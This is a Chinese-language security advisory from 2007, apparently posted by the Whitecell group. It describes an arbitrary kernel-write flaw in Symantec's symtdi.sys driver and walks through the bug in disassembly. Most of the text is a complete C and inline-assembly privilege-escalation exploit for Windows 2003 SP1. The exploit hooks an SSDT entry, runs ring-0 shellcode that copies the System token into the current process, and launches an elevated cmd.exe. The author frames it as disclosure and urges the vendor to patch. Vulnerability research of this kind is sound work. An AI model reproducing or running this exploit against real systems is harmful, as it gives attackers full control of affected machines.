創建時間:2007-07-17 更新時間:2007-07-17
Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:
http://www.whitecell.org Date: 2007-07-3
最近通過反匯編分析發現了一個 symantec 的漏洞,這個漏洞是在 symtdi.sys 中存在的,由
于驅動程序中處理 IRP_MJ_DEVICE_CONTROL 例程沒有檢查用戶傳入的緩沖區地址的合法性,
造成任意內核地址可寫的漏洞,用戶可以發送惡意的 DeviceIoControl 的來完全的控制計算
機。
在 symtdi.sys 中,以下代碼用來處理IRP_MJ_DEVICE_CONTROL請求
loc_387C0: ; CODE XREF: sub_38736+6Cj
.text:000387C0 cmp dword_4B258, 0
.text:000387C7 jz short loc_387EF
.text:000387C7
.text:000387C9 call KeGetCurrentIrql
.text:000387C9
.text:000387CE and eax, 0FFh
.text:000387D3 test eax, eax
.text:000387D5 jnz short loc_387EF
.text:000387D5
.text:000387D7 call sub_37B5F
.text:000387D7
.text:000387DC test eax, eax
.text:000387DE jz short loc_387EF
.text:000387DE
.text:000387E0 mov dword_4B258, 0
.text:000387EA call sub_37B9A
.text:000387EA
.text:000387EF
.text:000387EF loc_387EF: ; CODE XREF: sub_38736+91j
.text:000387EF ; sub_38736+9Fj
.text:000387EF ; sub_38736+A8j
.text:000387EF mov ecx, [ebp+var_20]
.text:000387F2 mov edx, [ecx+0Ch]
.text:000387F5 mov [ebp+var_38], edx
.text:000387F8 mov eax, [ebp+var_38]
.text:000387FB shr eax, 10h
.text:000387FE mov [ebp+var_44], eax
.text:00038801 cmp [ebp+var_44], 8302h
.text:00038808 jnz loc_3983C
.text:00038808
.text:0003880E cmp [ebp+var_38], 83022227h
.text:00038815 jnb short loc_38854
.text:00038815
.text:00038817 cmp dword_4B0DC, 0
.text:0003881E jnz short loc_38842
.text:0003881E
.text:00038820 call ds:KeEnterCriticalRegion
.text:00038826 mov ecx, offset stru_4B060 ; FastMutex
.text:0003882B call ds:ExAcquireFastMutexUnsafe
.text:00038831 mov ecx, offset stru_4B060 ; FastMutex
.text:00038836 call ds:ExReleaseFastMutexUnsafe
.text:0003883C call ds:KeLeaveCriticalRegion
.text:0003883C
.text:00038842
.text:00038842 loc_38842: ; CODE XREF: sub_38736+E8j
.text:00038842 cmp dword_4B258, 0
.text:00038849 jnz short loc_38854
.text:00038849
.text:0003884B mov ecx, [ebp+var_38]
.text:0003884E push ecx
.text:0003884F call sub_16E17
.text:0003884F
.text:00038854
.text:00038854 loc_38854: ; CODE XREF: sub_38736+DFj
.text:00038854 ; sub_38736+113j
以下開始處理 ControlCode,他們基本都被定義為 METHOD_NEITHER 這種方式
.text:00038854 mov edx, [ebp+var_38] ; edx = ControlCode
.text:00038857 mov [ebp+var_F0], edx
.text:0003885D cmp [ebp+var_F0], 830221E7h
.text:00038867 ja loc_38985 ; 如果ConrolCode > 830221E7h 則跳轉
.text:00038867
.text:0003886D cmp [ebp+var_F0], 830221E7h
.text:00038877 jz loc_38F5E
.text:00038877
.text:0003887D cmp [ebp+var_F0], 830221BFh
.text:00038887 ja loc_38952
.text:00038887
.text:0003888D cmp [ebp+var_F0], 830221BFh
.text:00038897 jz loc_38C2C
.text:00038897
.text:0003889D cmp [ebp+var_F0], 830221A7h
.text:000388A7 ja short loc_3891F
.text:000388A7
.text:000388A9 cmp [ebp+var_F0], 830221A7h
.text:000388B3 jz loc_38BB0
.text:000388B3
.text:000388B9 cmp [ebp+var_F0], 8302219Ah
.text:000388C3 ja short loc_388FA
.text:000388C3
.text:000388C5 cmp [ebp+var_F0], 8302219Ah
.text:000388CF jz loc_38E15
.text:000388CF
.text:000388D5 cmp [ebp+var_F0], 83022003h
.text:000388DF jz loc_38B49 ; 注意這里
.text:000388DF
.text:000388E5 cmp [ebp+var_F0], 83022196h
.text:000388EF jz loc_38DD5
.text:000388EF
.text:000388F5 jmp loc_392EE
其上的很多控制碼都存在問題,當然最好利用的控制碼就是 83022003h 了,我們來看看
symtdi.sys 中如何處理 83022003h
loc_38B49: ; CODE XREF: sub_38736+1A9j
.text:00038B49 mov ecx, [ebp+Irp]
.text:00038B4C mov edx, [ecx+3Ch] ; edx = irp->UserBuffer
.text:00038B4F mov [ebp+var_24], edx
.text:00038B52 mov eax, [ebp+var_20]
.text:00038B55 mov ecx, [eax+4]
.text:00038B58 mov [ebp+var_40], ecx
.text:00038B5B mov edx, [ebp+var_40]
.text:00038B5E push edx
.text:00038B5F mov eax, [ebp+var_24]
.text:00038B62 push eax
.text:00038B63 call sub_3B7B0
sub_3B7B0 proc near ; CODE XREF: sub_38736+42Dp
.text:0003B7B0
.text:0003B7B0 var_4 = dword ptr -4
.text:0003B7B0 arg_0 = dword ptr 8
.text:0003B7B0 arg_4 = dword ptr 0Ch
.text:0003B7B0
.text:0003B7B0 push ebp
.text:0003B7B1 mov ebp, esp
.text:0003B7B3 push ecx
.text:0003B7B4 mov [ebp+var_4], 0
.text:0003B7BB cmp [ebp+arg_0], 0
.text:0003B7BF jz short loc_3B7EB
.text:0003B7BF
.text:0003B7C1 cmp [ebp+arg_4], 9
.text:0003B7C5 jb short loc_3B7EB
.text:0003B7C5
.text:0003B7C7 mov eax, [ebp+arg_0]
; eax = irp->UserBuffer 以前沒有對irp->UserBuffer進行任何檢查
.text:0003B7CA mov ecx, dword_45544
.text:0003B7D0 mov [eax], ecx
; 以下是對UserBuffer進行寫操作,一共寫入了9字節,形成了任意內核地址可寫的漏洞
.text:0003B7D2 mov edx, dword_45548
.text:0003B7D8 mov [eax+4], edx
.text:0003B7DB mov cl, byte_4554C
.text:0003B7E1 mov [eax+8], cl
.text:0003B7E4 mov [ebp+var_4], 9
.text:0003B7E4
.text:0003B7EB
.text:0003B7EB loc_3B7EB: ; CODE XREF: sub_3B7B0+Fj
.text:0003B7EB ; sub_3B7B0+15j
.text:0003B7EB mov eax, [ebp+var_4]
.text:0003B7EE mov esp, ebp
.text:0003B7F0 pop ebp
.text:0003B7F1 retn 8
.text:0003B7F1
.text:0003B7F1 sub_3B7B0 endp
看完代碼,我們大家已經很清楚地知道了這個漏洞如何利用,我們可以去Hook一個SSDT上的函
數,在我們進行調用被Hook的函數時,有機會讓我們的ring0代碼得到運行,Hook的函數我依舊
選擇 NtVdmControl,雖然這里覆蓋了9字節的數據,但是由于NtVdmControl后面的一個函數也
為一個不常用的api,所以我們的exploit可以保證%80以上的有效率,但是一定要在調用ring 0
代碼的時候進行一些現場恢復,不然一定會死的比較難看的。
在發現這個漏洞的興奮之余,我上網搜索了一下 symtdi.sys,發現在今年3月份國外已經有人發
現了這個漏洞,不過報告為拒絕服務,然而廠商估計是因為認為這個漏洞的安全級別比較低,也
沒有對這個漏洞進行修補,希望安全廠商能夠報著為用戶負責的心態盡快修補該漏洞,如果對
以上還有什么問題請發送郵件到 Polymorphours@whitecell.org 聯系我,謝謝。
#include
#include
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID ShellCodeMemory = (PVOID)0x2E352E35;
DWORD MemorySize = 0x2000;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}
if ( OsVersionInfo.dwMinorVersion != 2 ) {
printf( "isn't windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}
printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntkrnlpa.exe version) \n\n" );
printf( "\tCoded by Polymorphours. Polymorphours@whitecell.org\n\n" );
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop
nop
nop
nop
nop
nop
//
// 恢復SSDT保證系統能夠正常運行
//
/*
mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe
mov edi, 0x8083100C
// mov [edi], 0x808C998A
mov [edi+4], 0x809970CC // ntkrnlpa.exe version
mov [edi+8], 0x8092FF3E
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]
mov esi,[eax+0x218]
mov eax,esi
search2k3sp1:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2k3sp1
mov eax,[eax+0xd8] // 獲取system進程的token
mov [esi+0xd8],eax // 修改當前進程的token
ret 8
CopyShellCode:
pop esi
lea ecx, CopyShellCode
sub ecx, esi
mov edi,0x2E352E35
cld
rep movsb
}
deviceHandle = CreateFile("\\\\.\\Symtdi",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "Open Symtdi device success\n" );
}
DeviceIoControl( deviceHandle,
0x83022003,
NULL,
0,
(PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" );
return 0;
}
printf( "call shellcode ... " );
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}
printf( "Done.\n" );
printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳
統的hacker精神,追求技術的精純。
WSS 主頁:
http://www.whitecell.org/ WSS 論壇:
http://www.whitecell.org/forums/